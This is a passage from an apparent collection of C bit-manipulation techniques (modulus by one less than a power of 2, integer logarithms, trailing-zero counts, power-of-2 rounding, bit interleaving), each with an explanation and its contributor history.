      {12, 12, 12, 12, 12, 12}, {13, 13, 13, 13, 13, 13}, {14, 14, 14, 14, 14, 14},
      {15, 15, 15, 15, 15, 15}, {16, 16, 16, 16, 16, 16}, {17, 17, 17, 17, 17, 17},
      {18, 18, 18, 18, 18, 18}, {19, 19, 19, 19, 19, 19}, {20, 20, 20, 20, 20, 20},
      {21, 21, 21, 21, 21, 21}, {22, 22, 22, 22, 22, 22}, {23, 23, 23, 23, 23, 23},
      {24, 24, 24, 24, 24, 24}, {25, 25, 25, 25, 25, 25}, {26, 26, 26, 26, 26, 26},
      {27, 27, 27, 27, 27, 27}, {28, 28, 28, 28, 28, 28}, {29, 29, 29, 29, 29, 29},
      {30, 30, 30, 30, 30, 30}, {31, 31, 31, 31, 31, 31}
    };
    
    static const unsigned int R[][6] = 
    {
      {0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000},
      {0x0000ffff, 0x000000ff, 0x0000000f, 0x00000003, 0x00000001, 0x00000001},
      {0x0000ffff, 0x000000ff, 0x0000000f, 0x00000003, 0x00000003, 0x00000003},
      {0x00007fff, 0x0000003f, 0x00000007, 0x00000007, 0x00000007, 0x00000007},
      {0x0000ffff, 0x000000ff, 0x0000000f, 0x0000000f, 0x0000000f, 0x0000000f},
      {0x00007fff, 0x0000001f, 0x0000001f, 0x0000001f, 0x0000001f, 0x0000001f},
      {0x00000fff, 0x0000003f, 0x0000003f, 0x0000003f, 0x0000003f, 0x0000003f},
      {0x00003fff, 0x0000007f, 0x0000007f, 0x0000007f, 0x0000007f, 0x0000007f},
      {0x0000ffff, 0x000000ff, 0x000000ff, 0x000000ff, 0x000000ff, 0x000000ff},
      {0x000001ff, 0x000001ff, 0x000001ff, 0x000001ff, 0x000001ff, 0x000001ff}, 
      {0x000003ff, 0x000003ff, 0x000003ff, 0x000003ff, 0x000003ff, 0x000003ff}, 
      {0x000007ff, 0x000007ff, 0x000007ff, 0x000007ff, 0x000007ff, 0x000007ff}, 
      {0x00000fff, 0x00000fff, 0x00000fff, 0x00000fff, 0x00000fff, 0x00000fff}, 
      {0x00001fff, 0x00001fff, 0x00001fff, 0x00001fff, 0x00001fff, 0x00001fff}, 
      {0x00003fff, 0x00003fff, 0x00003fff, 0x00003fff, 0x00003fff, 0x00003fff}, 
      {0x00007fff, 0x00007fff, 0x00007fff, 0x00007fff, 0x00007fff, 0x00007fff}, 
      {0x0000ffff, 0x0000ffff, 0x0000ffff, 0x0000ffff, 0x0000ffff, 0x0000ffff}, 
      {0x0001ffff, 0x0001ffff, 0x0001ffff, 0x0001ffff, 0x0001ffff, 0x0001ffff}, 
      {0x0003ffff, 0x0003ffff, 0x0003ffff, 0x0003ffff, 0x0003ffff, 0x0003ffff}, 
      {0x0007ffff, 0x0007ffff, 0x0007ffff, 0x0007ffff, 0x0007ffff, 0x0007ffff},
      {0x000fffff, 0x000fffff, 0x000fffff, 0x000fffff, 0x000fffff, 0x000fffff}, 
      {0x001fffff, 0x001fffff, 0x001fffff, 0x001fffff, 0x001fffff, 0x001fffff}, 
      {0x003fffff, 0x003fffff, 0x003fffff, 0x003fffff, 0x003fffff, 0x003fffff}, 
      {0x007fffff, 0x007fffff, 0x007fffff, 0x007fffff, 0x007fffff, 0x007fffff}, 
      {0x00ffffff, 0x00ffffff, 0x00ffffff, 0x00ffffff, 0x00ffffff, 0x00ffffff},
      {0x01ffffff, 0x01ffffff, 0x01ffffff, 0x01ffffff, 0x01ffffff, 0x01ffffff}, 
      {0x03ffffff, 0x03ffffff, 0x03ffffff, 0x03ffffff, 0x03ffffff, 0x03ffffff}, 
      {0x07ffffff, 0x07ffffff, 0x07ffffff, 0x07ffffff, 0x07ffffff, 0x07ffffff},
      {0x0fffffff, 0x0fffffff, 0x0fffffff, 0x0fffffff, 0x0fffffff, 0x0fffffff},
      {0x1fffffff, 0x1fffffff, 0x1fffffff, 0x1fffffff, 0x1fffffff, 0x1fffffff}, 
      {0x3fffffff, 0x3fffffff, 0x3fffffff, 0x3fffffff, 0x3fffffff, 0x3fffffff}, 
      {0x7fffffff, 0x7fffffff, 0x7fffffff, 0x7fffffff, 0x7fffffff, 0x7fffffff}
    };
    
    unsigned int n;       // numerator
    const unsigned int s; // s > 0
    const unsigned int d = (1 << s) - 1; // so d is either 1, 3, 7, 15, 31, ...).
    unsigned int m;       // n % d goes here.
    
    m = (n & M[s]) + ((n >> s) & M[s]);
    
    for (const unsigned int * q = &Q[s][0], * r = &R[s][0]; m > d; q++, r++)
    {
      m = (m >> *q) + (m & *r);
    }
    m = m == d ? 0 : m; // OR, less portably: m = m & -((signed)(m - d) >> s);
    
[/code]

This method of finding modulus division by an integer that is one less than a
power of 2 takes at most O\(lg\(N\)\) time, where N is the number of bits in
the numerator \(32 bits, for the code above\). The number of operations is at
most 12 + 9 \* ceil\(lg\(N\)\). The tables may be removed if you know the
denominator at compile time; just extract the few relevent entries and unroll
the loop. It may be easily extended to more bits.

It finds the result by summing the values in base \(1 << s\) in parallel.
First every other base \(1 << s\) value is added to the previous one. Imagine
that the result is written on a piece of paper. Cut the paper in half, so that
half the values are on each cut piece. Align the values and sum them onto a
new piece of paper. Repeat by cutting this paper in half \(which will be a
quarter of the size of the previous one\) and summing, until you cannot cut
further. After performing lg\(N/s/2\) cuts, we cut no more; just continue to
add the values and put the result onto a new piece of paper as before, while
there are at least two s-bit values.

Devised by Sean Anderson, August 20, 2001. A typo was spotted by Randy E.
Bryant on May 3, 2005 \(after pasting the code, I had later added "unsinged"
to a variable declaration\). As in the previous hack, I mistakenly commented
that we could alternatively assign `m = ((m + 1) & d) - 1;` at the end, and
Don Knuth corrected me on April 19, 2006 and suggested `m = m & -((signed)(m -
d) >> s)`. On June 18, 2009 Sean Irvine proposed a change that used `((n >> s)
& M[s])` instead of `((n & ~M[s]) >> s)`, which typically requires fewer
operations because the M\[s\] constant is already loaded.

* * *
###  Find the log base 2 of an integer with the MSB N set in O\(N\) operations
\(the obvious way\)

[code]

    unsigned int v; // 32-bit word to find the log base 2 of
    unsigned r = 0; // r will be lg(v)
    
    while (v >>= 1) // unroll for more speed...
    {
      r++;
    }
    
[/code]

The log base 2 of an integer is the same as the position of the highest bit
set \(or most significant bit set, MSB\). The following log base 2 methods are
faster than this one.

* * *
###  Find the integer log base 2 of an integer with an 64-bit IEEE float

[code]

    int v; // 32-bit integer to find the log base 2 of
    int r; // result of log_2(v) goes here
    union { unsigned int u[2]; double d; } t; // temp
    
    t.u[__FLOAT_WORD_ORDER==LITTLE_ENDIAN] = 0x43300000;
    t.u[__FLOAT_WORD_ORDER!=LITTLE_ENDIAN] = v;
    t.d -= 4503599627370496.0;
    r = (t.u[__FLOAT_WORD_ORDER==LITTLE_ENDIAN] >> 20) - 0x3FF;
    
[/code]

The code above loads a 64-bit \(IEEE-754 floating-point\) double with a 32-bit
integer \(with no paddding bits\) by storing the integer in the mantissa while
the exponent is set to 252. From this newly minted double, 252 \(expressed as
a double\) is subtracted, which sets the resulting exponent to the log base 2
of the input value, v. All that is left is shifting the exponent bits into
position \(20 bits right\) and subtracting the bias, 0x3FF \(which is 1023
decimal\). This technique only takes 5 operations, but many CPUs are slow at
manipulating doubles, and the endianess of the architecture must be
accommodated.

Eric Cole sent me this on January 15, 2006. Evan Felix pointed out a typo on
April 4, 2006. Vincent Lefèvre told me on July 9, 2008 to change the endian
check to use the float's endian, which could differ from the integer's endian.

* * *
###  Find the log base 2 of an integer with a lookup table

[code]

    static const char LogTable256[256] = 
    {
    #define LT(n) n, n, n, n, n, n, n, n, n, n, n, n, n, n, n, n
        -1, 0, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3,
        LT(4), LT(5), LT(5), LT(6), LT(6), LT(6), LT(6),
        LT(7), LT(7), LT(7), LT(7), LT(7), LT(7), LT(7), LT(7)
    };
    
    unsigned int v; // 32-bit word to find the log of
    unsigned r;     // r will be lg(v)
    register unsigned int t, tt; // temporaries
    
    if (tt = v >> 16)
    {
      r = (t = tt >> 8) ? 24 + LogTable256[t] : 16 + LogTable256[tt];
    }
    else 
    {
      r = (t = v >> 8) ? 8 + LogTable256[t] : LogTable256[v];
    }
    
[/code]

The lookup table method takes only about 7 operations to find the log of a
32-bit value. If extended for 64-bit quantities, it would take roughly 9
operations. Another operation can be trimmed off by using four tables, with
the possible additions incorporated into each. Using int table elements may be
faster, depending on your architecture.

The code above is tuned to uniformly distributed _output_ values. If your
_inputs_ are evenly distributed across all 32-bit values, then consider using
the following:

[code]

    if (tt = v >> 24) 
    {
      r = 24 + LogTable256[tt];
    } 
    else if (tt = v >> 16) 
    {
      r = 16 + LogTable256[tt];
    } 
    else if (tt = v >> 8) 
    {
      r = 8 + LogTable256[tt];
    } 
    else 
    {
      r = LogTable256[v];
    }
    
[/code]

To initially generate the log table algorithmically:

[code]

    LogTable256[0] = LogTable256[1] = 0;
    for (int i = 2; i < 256; i++) 
    {
      LogTable256[i] = 1 + LogTable256[i / 2];
    }
    LogTable256[0] = -1; // if you want log(0) to return -1
    
[/code]

Behdad Esfahbod and I shaved off a fraction of an operation \(on average\) on
May 18, 2005. Yet another fraction of an operation was removed on November 14,
2006 by Emanuel Hoogeveen. The variation that is tuned to evenly distributed
input values was suggested by David A. Butterfield on September 19, 2008.
Venkat Reddy told me on January 5, 2009 that log\(0\) should return -1 to
indicate an error, so I changed the first entry in the table to that.

* * *
###  Find the log base 2 of an N-bit integer in O\(lg\(N\)\) operations

[code]

    unsigned int v;  // 32-bit value to find the log2 of 
    const unsigned int b[] = {0x2, 0xC, 0xF0, 0xFF00, 0xFFFF0000};
    const unsigned int S[] = {1, 2, 4, 8, 16};
    int i;
    
    register unsigned int r = 0; // result of log2(v) will go here
    for (i = 4; i >= 0; i--) // unroll for speed...
    {
      if (v & b[i])
      {
        v >>= S[i];
        r |= S[i];
      } 
    }
    
    
    // OR (IF YOUR CPU BRANCHES SLOWLY):
    
    unsigned int v;	         // 32-bit value to find the log2 of 
    register unsigned int r; // result of log2(v) will go here
    register unsigned int shift;
    
    r =     (v > 0xFFFF) << 4; v >>= r;
    shift = (v > 0xFF  ) << 3; v >>= shift; r |= shift;
    shift = (v > 0xF   ) << 2; v >>= shift; r |= shift;
    shift = (v > 0x3   ) << 1; v >>= shift; r |= shift;
                                            r |= (v >> 1);
    
    
    // OR (IF YOU KNOW v IS A POWER OF 2):
    
    unsigned int v;  // 32-bit value to find the log2 of 
    static const unsigned int b[] = {0xAAAAAAAA, 0xCCCCCCCC, 0xF0F0F0F0, 
                                     0xFF00FF00, 0xFFFF0000};
    register unsigned int r = (v & b[0]) != 0;
    for (i = 4; i > 0; i--) // unroll for speed...
    {
      r |= ((v & b[i]) != 0) << i;
    }
    
[/code]

Of course, to extend the code to find the log of a 33- to 64-bit number, we
would append another element, 0xFFFFFFFF00000000, to b, append 32 to S, and
loop from 5 to 0. This method is much slower than the earlier table-lookup
version, but if you don't want big table or your architecture is slow to
access memory, it's a good choice. The second variation involves slightly more
operations, but it may be faster on machines with high branch costs \(e.g.
PowerPC\).

The second version was sent to me by Eric Cole on January 7, 2006. Andrew
Shapira subsequently trimmed a few operations off of it and sent me his
variation \(above\) on Sept. 1, 2007. The third variation was suggested to me
by John Owens on April 24, 2002; it's faster, but _it is only suitable when
the input is known to be a power of 2_. On May 25, 2003, Ken Raeburn suggested
improving the general case by using smaller numbers for b\[\], which load
faster on some architectures \(for instance if the word size is 16 bits, then
only one load instruction may be needed\). These values work for the general
version, but not for the special-case version below it, where v is a power of
2; Glenn Slayden brought this oversight to my attention on December 12, 2003.

* * *
###  Find the log base 2 of an N-bit integer in O\(lg\(N\)\) operations with
multiply and lookup

[code]

    uint32_t v; // find the log base 2 of 32-bit v
    int r;      // result goes here
    
    static const int MultiplyDeBruijnBitPosition[32] = 
    {
      0, 9, 1, 10, 13, 21, 2, 29, 11, 14, 16, 18, 22, 25, 3, 30,
      8, 12, 20, 28, 15, 17, 24, 7, 19, 27, 23, 6, 26, 5, 4, 31
    };
    
    v |= v >> 1; // first round down to one less than a power of 2 
    v |= v >> 2;
    v |= v >> 4;
    v |= v >> 8;
    v |= v >> 16;
    
    r = MultiplyDeBruijnBitPosition[(uint32_t)(v * 0x07C4ACDDU) >> 27];
    
[/code]

The code above computes the log base 2 of a 32-bit integer with a small table
lookup and multiply. It requires only 13 operations, compared to \(up to\) 20
for the previous method. The purely table-based method requires the fewest
operations, but this offers a reasonable compromise between table size and
speed.

If you know that v is a power of 2, then you only need the following:

[code]

    static const int MultiplyDeBruijnBitPosition2[32] = 
    {
      0, 1, 28, 2, 29, 14, 24, 3, 30, 22, 20, 15, 25, 17, 4, 8, 
      31, 27, 13, 23, 21, 19, 16, 7, 26, 12, 18, 6, 11, 5, 10, 9
    };
    r = MultiplyDeBruijnBitPosition2[(uint32_t)(v * 0x077CB531U) >> 27];
    
[/code]

Eric Cole devised this January 8, 2006 after reading about the entry below to
round up to a power of 2 and the method below for computing the number of
trailing bits with a multiply and lookup using a DeBruijn sequence. On
December 10, 2009, Mark Dickinson shaved off a couple operations by requiring
v be rounded up to one less than the next power of 2 rather than the power of
2.

* * *
###  Find integer log base 10 of an integer

[code]

    unsigned int v; // non-zero 32-bit integer value to compute the log base 10 of 
    int r;          // result goes here
    int t;          // temporary
    
    static unsigned int const PowersOf10[] = 
        {1, 10, 100, 1000, 10000, 100000,
         1000000, 10000000, 100000000, 1000000000};
    
    t = (IntegerLogBase2(v) + 1) * 1233 >> 12; // (use a lg2 method from above)
    r = t - (v < PowersOf10[t]);
    
[/code]

The integer log base 10 is computed by first using one of the techniques above
for finding the log base 2. By the relationship log10\(v\) = log2\(v\) /
log2\(10\), we need to multiply it by 1/log2\(10\), which is approximately
1233/4096, or 1233 followed by a right shift of 12. Adding one is needed
because the IntegerLogBase2 rounds down. Finally, since the value t is only an
approximation that may be off by one, the exact value is found by subtracting
the result of v < PowersOf10\[t\].

This method takes 6 more operations than IntegerLogBase2. It may be sped up
\(on machines with fast memory access\) by modifying the log base 2 table-
lookup method above so that the entries hold what is computed for t \(that is,
pre-add, -mulitply, and -shift\). Doing so would require a total of only 9
operations to find the log base 10, assuming 4 tables were used \(one for each
byte of v\).

Eric Cole suggested I add a version of this on January 7, 2006.

* * *
###  Find integer log base 10 of an integer the obvious way

[code]

    unsigned int v; // non-zero 32-bit integer value to compute the log base 10 of 
    int r;          // result goes here
    
    r = (v >= 1000000000) ? 9 : (v >= 100000000) ? 8 : (v >= 10000000) ? 7 : 
        (v >= 1000000) ? 6 : (v >= 100000) ? 5 : (v >= 10000) ? 4 : 
        (v >= 1000) ? 3 : (v >= 100) ? 2 : (v >= 10) ? 1 : 0;
    
[/code]

This method works well when the input is uniformly distributed over 32-bit
values because 76% of the inputs are caught by the first compare, 21% are
caught by the second compare, 2% are caught by the third, and so on \(chopping
the remaining down by 90% with each comparision\). As a result, less than 2.6
operations are needed on average.

On April 18, 2007, Emanuel Hoogeveen suggested a variation on this where the
conditions used divisions, which were not as fast as simple comparisons.

* * *
###  Find integer log base 2 of a 32-bit IEEE float

[code]

    const float v; // find int(log2(v)), where v > 0.0 && finite(v) && isnormal(v)
    int c;         // 32-bit int c gets the result;
    
    c = *(const int *) &v;  // OR, for portability:  memcpy(&c, &v, sizeof c);
    c = (c >> 23) - 127;
    
[/code]

The above is fast, but IEEE 754-compliant architectures utilize _subnormal_
\(also called _denormal_\) floating point numbers. These have the exponent
bits set to zero \(signifying pow\(2,-127\)\), and the mantissa is not
normalized, so it contains leading zeros and thus the log2 must be computed
from the mantissa. To accomodate for subnormal numbers, use the following:

[code]

    const float v;              // find int(log2(v)), where v > 0.0 && finite(v)
    int c;                      // 32-bit int c gets the result;
    int x = *(const int *) &v;  // OR, for portability:  memcpy(&x, &v, sizeof x);
    
    c = x >> 23;          
    
    if (c)
    {
      c -= 127;
    }
    else
    { // subnormal, so recompute using mantissa: c = intlog2(x) - 149;
      register unsigned int t; // temporary
      // Note that LogTable256 was defined earlier
      if (t = x >> 16)
      {
        c = LogTable256[t] - 133;
      }
      else
      {
        c = (t = x >> 8) ? LogTable256[t] - 141 : LogTable256[x] - 149;
      }
    }
    
[/code]

On June 20, 2004, Sean A. Irvine suggested that I include code to handle
subnormal numbers. On June 11, 2005, Falk Hüffner pointed out that ISO C99
6.5/7 specified undefined behavior for the common type punning idiom \*\(int
\*\)&, though it has worked on 99.9% of C compilers. He proposed using memcpy
for maximum portability or a union with a float and an int for better code
generation than memcpy on some compilers.

* * *
###  Find integer log base 2 of the pow\(2, r\)-root of a 32-bit IEEE float
\(for unsigned integer r\)

[code]

    const int r;
    const float v; // find int(log2(pow((double) v, 1. / pow(2, r)))), 
                   // where isnormal(v) and v > 0
    int c;         // 32-bit int c gets the result;
    
    c = *(const int *) &v;  // OR, for portability:  memcpy(&c, &v, sizeof c);
    c = ((((c - 0x3f800000) >> r) + 0x3f800000) >> 23) - 127;
    
[/code]

So, if r is 0, for example, we have c = int\(log2\(\(double\) v\)\). If r is
1, then we have c = int\(log2\(sqrt\(\(double\) v\)\)\). If r is 2, then we
have c = int\(log2\(pow\(\(double\) v, 1./4\)\)\).

On June 11, 2005, Falk Hüffner pointed out that ISO C99 6.5/7 left the type
punning idiom \*\(int \*\)& undefined, and he suggested using memcpy.

* * *
###  Count the consecutive zero bits \(trailing\) on the right linearly

[code]

    unsigned int v;  // input to count trailing zero bits
    int c;  // output: c will count v's trailing zero bits,
            // so if v is 1101000 (base 2), then c will be 3
    if (v)
    {
      v = (v ^ (v - 1)) >> 1;  // Set v's trailing 0s to 1s and zero rest
      for (c = 0; v; c++)
      {
        v >>= 1;
      }
    }
    else
    {
      c = CHAR_BIT * sizeof(v);
    }
    
[/code]

The average number of trailing zero bits in a \(uniformly distributed\) random
binary number is one, so this O\(trailing zeros\) solution isn't that bad
compared to the faster methods below.

Jim Cole suggested I add a linear-time method for counting the trailing zeros
on August 15, 2007. On October 22, 2007, Jason Cunningham pointed out that I
had neglected to paste the unsigned modifier for v.

* * *
###  Count the consecutive zero bits \(trailing\) on the right in parallel

[code]

    unsigned int v;      // 32-bit word input to count zero bits on right
    unsigned int c = 32; // c will be the number of zero bits on the right
    v &= -signed(v);
    if (v) c--;
    if (v & 0x0000FFFF) c -= 16;
    if (v & 0x00FF00FF) c -= 8;
    if (v & 0x0F0F0F0F) c -= 4;
    if (v & 0x33333333) c -= 2;
    if (v & 0x55555555) c -= 1;
    
[/code]

Here, we are basically doing the same operations as finding the log base 2 in
parallel, but we first isolate the lowest 1 bit, and then proceed with c
starting at the maximum and decreasing. The number of operations is at most 3
\* lg\(N\) + 4, roughly, for N bit words.

Bill Burdick suggested an optimization, reducing the time from 4 \* lg\(N\) on
February 4, 2011.

* * *
###  Count the consecutive zero bits \(trailing\) on the right by binary
search

[code]

    unsigned int v;     // 32-bit word input to count zero bits on right
    unsigned int c;     // c will be the number of zero bits on the right,
                        // so if v is 1101000 (base 2), then c will be 3
    // NOTE: if 0 == v, then c = 31.
    if (v & 0x1) 
    {
      // special case for odd v (assumed to happen half of the time)
      c = 0;
    }
    else
    {
      c = 1;
      if ((v & 0xffff) == 0) 
      {  
        v >>= 16;  
        c += 16;
      }
      if ((v & 0xff) == 0) 
      {  
        v >>= 8;  
        c += 8;
      }
      if ((v & 0xf) == 0) 
      {  
        v >>= 4;
        c += 4;
      }
      if ((v & 0x3) == 0) 
      {  
        v >>= 2;
        c += 2;
      }
      c -= v & 0x1;
    }	
    
[/code]

The code above is similar to the previous method, but it computes the number
of trailing zeros by accumulating c in a manner akin to binary search. In the
first step, it checks if the bottom 16 bits of v are zeros, and if so, shifts
v right 16 bits and adds 16 to c, which reduces the number of bits in v to
consider by half. Each of the subsequent conditional steps likewise halves the
number of bits until there is only 1. This method is faster than the last one
\(by about 33%\) because the bodies of the if statements are executed less
often.

Matt Whitlock suggested this on January 25, 2006. Andrew Shapira shaved a
couple operations off on Sept. 5, 2007 \(by setting c=1 and unconditionally
subtracting at the end\).

* * *
###  Count the consecutive zero bits \(trailing\) on the right by casting to a
float

[code]

    unsigned int v;            // find the number of trailing zeros in v
    int r;                     // the result goes here
    float f = (float)(v & -v); // cast the least significant bit in v to a float
    r = (*(uint32_t *)&f >> 23) - 0x7f;
    
[/code]

Although this only takes about 6 operations, the time to convert an integer to
a float can be high on some machines. The exponent of the 32-bit IEEE floating
point representation is shifted down, and the bias is subtracted to give the
position of the least significant 1 bit set in v. If v is zero, then the
result is -127.

* * *
###  Count the consecutive zero bits \(trailing\) on the right with modulus
division and lookup

[code]

    unsigned int v;  // find the number of trailing zeros in v
    int r;           // put the result in r
    static const int Mod37BitPosition[] = // map a bit value mod 37 to its position
    {
      32, 0, 1, 26, 2, 23, 27, 0, 3, 16, 24, 30, 28, 11, 0, 13, 4,
      7, 17, 0, 25, 22, 31, 15, 29, 10, 12, 6, 0, 21, 14, 9, 5,
      20, 8, 19, 18
    };
    r = Mod37BitPosition[(-v & v) % 37];
    
[/code]

The code above finds the number of zeros that are trailing on the right, so
binary 0100 would produce 2. It makes use of the fact that the first 32 bit
position values are relatively prime with 37, so performing a modulus division
with 37 gives a unique number from 0 to 36 for each. These numbers may then be
mapped to the number of zeros using a small lookup table. It uses only 4
operations, however indexing into a table and performing modulus division may
make it unsuitable for some situations. I came up with this independently and
then searched for a subsequence of the table values, and found it was invented
earlier by Reiser, according to Hacker's Delight.

* * *
###  Count the consecutive zero bits \(trailing\) on the right with multiply
and lookup

[code]

    unsigned int v;  // find the number of trailing zeros in 32-bit v 
    int r;           // result goes here
    static const int MultiplyDeBruijnBitPosition[32] = 
    {
      0, 1, 28, 2, 29, 14, 24, 3, 30, 22, 20, 15, 25, 17, 4, 8, 
      31, 27, 13, 23, 21, 19, 16, 7, 26, 12, 18, 6, 11, 5, 10, 9
    };
    r = MultiplyDeBruijnBitPosition[((uint32_t)((v & -v) * 0x077CB531U)) >> 27];
    
[/code]

Converting bit vectors to indices of set bits is an example use for this. It
requires one more operation than the earlier one involving modulus division,
but the multiply may be faster. The expression \(v & -v\) extracts the least
significant 1 bit from v. The constant 0x077CB531UL is a de Bruijn sequence,
which produces a unique pattern of bits into the high 5 bits for each possible
bit position that it is multiplied against. When there are no bits set, it
returns 0. More information can be found by reading the paper Using de Bruijn
Sequences to Index 1 in a Computer Word by Charles E. Leiserson, Harald
Prokof, and Keith H. Randall.

On October 8, 2005 Andrew Shapira suggested I add this. Dustin Spicuzza asked
me on April 14, 2009 to cast the result of the multiply to a 32-bit type so it
would work when compiled with 64-bit ints.

* * *
###  Round up to the next highest power of 2 by float casting

[code]

    unsigned int const v; // Round this 32-bit value to the next highest power of 2
    unsigned int r;       // Put the result here. (So v=3 -> r=4; v=8 -> r=8)
    
    if (v > 1) 
    {
      float f = (float)v;
      unsigned int const t = 1U << ((*(unsigned int *)&f >> 23) - 0x7f);
      r = t << (t < v);
    }
    else 
    {
      r = 1;
    }
    
[/code]

The code above uses 8 operations, but works on all v <= \(1<<31\).

Quick and dirty version, for domain of 1 < v < \(1<<25\):

[code]

    float f = (float)(v - 1);  
    r = 1U << ((*(unsigned int*)(&f) >> 23) - 126);
    
[/code]

Although the quick and dirty version only uses around 6 operations, it is
roughly three times slower than the technique below \(which involves 12
operations\) when benchmarked on an Athlon™ XP 2100+ CPU. Some CPUs will fare
better with it, though.

On September 27, 2005 Andi Smithers suggested I include a technique for
casting to floats to find the lg of a number for rounding up to a power of 2.
Similar to the quick and dirty version here, his version worked with values
less than \(1<<25\), due to mantissa rounding, but it used one more operation.

* * *
###  Round up to the next highest power of 2

[code]

    unsigned int v; // compute the next highest power of 2 of 32-bit v
    
    v--;
    v |= v >> 1;
    v |= v >> 2;
    v |= v >> 4;
    v |= v >> 8;
    v |= v >> 16;
    v++;
    
[/code]

In 12 operations, this code computes the next highest power of 2 for a 32-bit
integer. The result may be expressed by the formula 1U << \(lg\(v - 1\) + 1\).
Note that in the edge case where v is 0, it returns 0, which isn't a power of
2; you might append the expression v += \(v == 0\) to remedy this if it
matters. It would be faster by 2 operations to use the formula and the log
base 2 methed that uses a lookup table, but in some situations, lookup tables
are not suitable, so the above code may be best. \(On a Athlon™ XP 2100+ I've
found the above shift-left and then OR code is as fast as using a single BSR
assembly language instruction, which scans in reverse to find the highest set
bit.\) It works by copying the highest set bit to all of the lower bits, and
then adding one, which results in carries that set all of the lower bits to 0
and one bit beyond the highest set bit to 1. If the original number was a
power of 2, then the decrement will reduce it to one less, so that we round up
to the same original value.

You might alternatively compute the next higher power of 2 in only 8 or 9
operations using a lookup table for floor\(lg\(v\)\) and then evaluating
1<<\(1+floor\(lg\(v\)\)\); Atul Divekar suggested I mention this on September
5, 2010.

Devised by Sean Anderson, Sepember 14, 2001. Pete Hart pointed me to a couple
newsgroup posts by him and William Lewis in February of 1997, where they
arrive at the same algorithm.

* * *
###  Interleave bits the obvious way

[code]

    unsigned short x;   // Interleave bits of x and y, so that all of the
    unsigned short y;   // bits of x are in the even positions and y in the odd;
    unsigned int z = 0; // z gets the resulting Morton Number.
    
    for (int i = 0; i < sizeof(x) * CHAR_BIT; i++) // unroll for more speed...
    {
      z |= (x & 1U << i) << i | (y & 1U << i) << (i + 1);
    }
    
[/code]

Interleaved bits \(aka Morton numbers\) are useful for linearizing 2D integer
coordinates, so x and y are combined into a single number that can be compared
easily and has the property that a number is usually close to another if their
x and y values are close.

* * *
###  Interleave bits by table lookup

[code]

    static const unsigned short MortonTable256[256] = 
    {
      0x0000, 0x0001, 0x0004, 0x0005, 0x0010, 0x0011, 0x0014, 0x0015, 
      0x0040, 0x0041, 0x0044, 0x0045, 0x0050, 0x0051, 0x0054, 0x0055, 
      0x0100, 0x0101, 0x0104, 0x0105, 0x0110, 0x0111, 0x0114, 0x0115, 
      0x0140, 0x0141, 0x0144, 0x0145, 0x0150, 0x0151, 0x0154, 0x0155, 
      0x0400, 0x0401, 0x0404, 0x0405, 0x0410, 0x0411, 0x0414, 0x0415, 
      0x0440, 0x0441, 0x0444, 0x0445, 0x0450, 0x0451, 0x0454, 0x0455, 
      0x0500, 0x0501, 0x0504, 0x0505, 0x0510, 0x0511, 0x0514, 0x0515, 
      0x0540, 0x0541, 0x0544, 0x0545, 0x0550, 0x0551, 0x0554, 0x0555, 
      0x1000, 0x1001, 0x1004, 0x1005, 0x1010, 0x1011, 0x1014, 0x1015, 
      0x1040, 0x1041, 0x1044, 0x1045, 0x1050, 0x1051, 0x1054, 0x1055, 
      0x1100, 0x1101, 0x1104, 0x1105, 0x1110, 0x1111, 0x1114, 0x1115, 
      0x1140, 0x1141, 0x1144, 0x1145, 0x1150, 0x1151, 0x1154, 0x1155, 
      0x1400, 0x1401, 0x1404, 0x1405, 0x1410, 0x1411, 0x1414, 0x1415, 
      0x1440, 0x1441, 0x1444, 0x1445, 0x1450, 0x1451, 0x1454, 0x1455, 
      0x1500, 0x1501, 0x1504, 0x1505, 0x1510, 0x1511, 0x1514, 0x1515, 
      0x1540, 0x1541, 0x1544, 0x1545, 0x1550, 0x1551, 0x1554, 0x1555, 
      0x4000, 0x4001, 0x4004, 0x4005, 0x4010, 0x4011, 0x4014, 0x4015, 
      0x4040, 0x4041, 0x4044, 0x4045, 0x4050, 0x4051, 0x4054, 0x4055, 
      0x4100, 0x4101, 0x4104, 0x4105, 0x4110, 0x4111, 0x4114, 0x4115, 
      0x4140, 0x4141, 0x4144, 0x4145, 0x4150, 0x4151, 0x4154, 0x4155, 
      0x4400, 0x4401, 0x4404, 0x4405, 0x4410, 0x4411, 0x4414, 0x4415, 
      0x4440, 0x4441, 0x4444, 0x4445, 0x4450, 0x4451, 0x4454, 0x4455, 
      0x4500, 0x4501, 0x4504, 0x4505, 0x4510, 0x4511, 0x4514, 0x4515, 
      0x4540, 0x4541, 0x4544, 0x4545, 0x4550, 0x4551, 0x4554, 0x4555, 
      0x5000, 0x5001, 0x5004, 0x5005, 0x5010, 0x5011, 0x5014, 0x5015, 
      0x5040, 0x5041, 0x5044, 0x5045, 0x5050, 0x5051, 0x5054, 0x5055, 
      0x5100, 0x5101, 0x5104, 0x5105, 0x5110, 0x5111, 0x5114, 0x5115, 
      0x5140, 0x5141, 0x5144, 0x5145, 0x5150, 0x5151, 0x5154, 0x5155, 
      0x5400, 0x5401, 0x5404, 0x5405, 0x5410, 0x5411, 0x5414, 0x5415, 
      0x5440, 0x5441, 0x5444, 0x5445, 0x5450, 0x5451, 0x5454, 0x5455, 
      0x5500, 0x5501, 0x5504, 0x5505, 0x5510, 0x5511, 0x5514, 0x5515, 
      0x5540, 0x5541, 0x5544, 0x5545, 0x5550, 0x5551, 0x5554, 0x5555
    };
    
    unsigned short x; // Interleave bits of x and y, so that all of the
    unsigned short y; // bits of x are in the even positions and y in the odd;
    unsigned int z;   // z gets the resulting 32-bit Morton Number.
    
    z = MortonTable256[y >> 8]   << 17 | 
        MortonTable256[x >> 8]   << 16 |
        MortonTable256[y & 0xFF] <<  1 | 
        MortonTable256[x & 0xFF];
    
    
[/code]

For more speed, use an additional table with values that are MortonTable256
pre-shifted one bit to the left. This second table could then be used for the
y lookups, thus reducing the operations by two, but almost doubling the memory
required. Extending this same idea, four tables could be used, with two of
them pre-shifted by 16 to the left of the previous two, so that we would only
need 11 operations total.

* * *
###  Interleave bits with 64-bit multiply

In 11 operations, this version interleaves bits of two bytes \(rather than
shorts, as in the other versions\), but many of the operations are 64-bit
multiplies so it isn't appropriate for all machines. The input parameters, x
and y, should be less than 256.

[code]

    unsigned char x;  // Interleave bits of (8-bit) x and y, so that all of the
    unsigned char y;  // bits of x are in the even positions and y in the odd;
    unsigned short z; // z gets the resulting 16-bit Morton Number.
    
    z = ((x * 0x0101010101010101ULL & 0x8040201008040201ULL) * 
